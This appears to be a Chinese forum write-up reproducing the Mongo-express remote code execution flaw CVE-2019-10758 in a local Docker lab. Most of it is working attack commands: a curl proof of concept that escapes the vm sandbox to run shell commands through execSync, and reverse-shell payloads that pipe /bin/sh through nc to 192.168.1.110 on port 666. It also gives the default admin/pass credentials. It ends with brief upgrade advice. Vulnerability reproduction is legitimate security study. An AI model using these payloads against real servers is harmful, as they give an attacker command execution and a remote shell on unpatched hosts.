Mongo-express远程代码执行漏洞复现(CVE-2019-10758)

0x00 前言

之前曝出了Mongo-express的RCE漏洞,就进行了一次简单的复现,未对漏洞细节进行详细的分析。。。请各位大佬海涵,最后艾特管理员希望能获得一枚wiki账号用于学习。。。 @admin05

0x01 简介

Mongo-express是MongoDB的数据库管理工具,类似Navicat对应Mysql的关系,其使用Node.js,Express和Bootstrap3编写的基于Web的MongoDB图形化管理界面 。

漏洞问题出在lib/bson.js中的toBSON()函数中,由于在非安全环境下滥用vm依赖关系来执行exec命令,从而导致的远程代码执行。

影响范围:

 version < 0.54.0

0x02 搭建环境

使用docker镜像搭建MongoDB数据库:

docker run --name mymongo -d mongo:3.2

搭建存在漏洞的Mongo-express并连接到上面的数据库:

docker run -it --rm -p 8081:8081 --link mymongo:mongo mongo-express:0.49

第二次启动:

 docker start mymongo

 docker run -it --rm -p 8081:8081 --link mymongo:mongo mongo-express:0.49

以下信息表示运行成功并连接上了MongoDB:

图片

访问http://localhost:8081查看mongo-express管理页面:

图片

0x03 漏洞复现

poc:

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo 123 > testfile.txt")'

其中execSync处写入要执行的命令

执行后回显 "Vail" 并且 后台无异常无报错、返回200的HTTP状态码表示POC执行成功:

图片

定位刚刚创建的文件和文件夹:

find -name 文件

图片

0x04 进一步漏洞利用

反弹shell:

(1)在tmp目录下创建一个管道文件 f:

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync(" **mkfifo /tmp/f** ")'

图片

(2)cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路:

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync(" **cat /tmp/f | /bin/sh -i 2>%261 | nc 192.168.1.110 666 >/tmp/f** ")'

图片

类似反弹shell的方式还有:

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync(" **mknod /tmp/backpipe p** ")
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync(" **/bin/sh 0</tmp/backpipe | nc 192.168.1.110 666 1>/tmp/backpipe** ")'

0x05 修复建议

0.54.0及以上的版本删除了使用vm的全部代码,所以建议尽快升级至0.54.0以上版本,并且修改默认账号和密码:admin/pass。

1 Like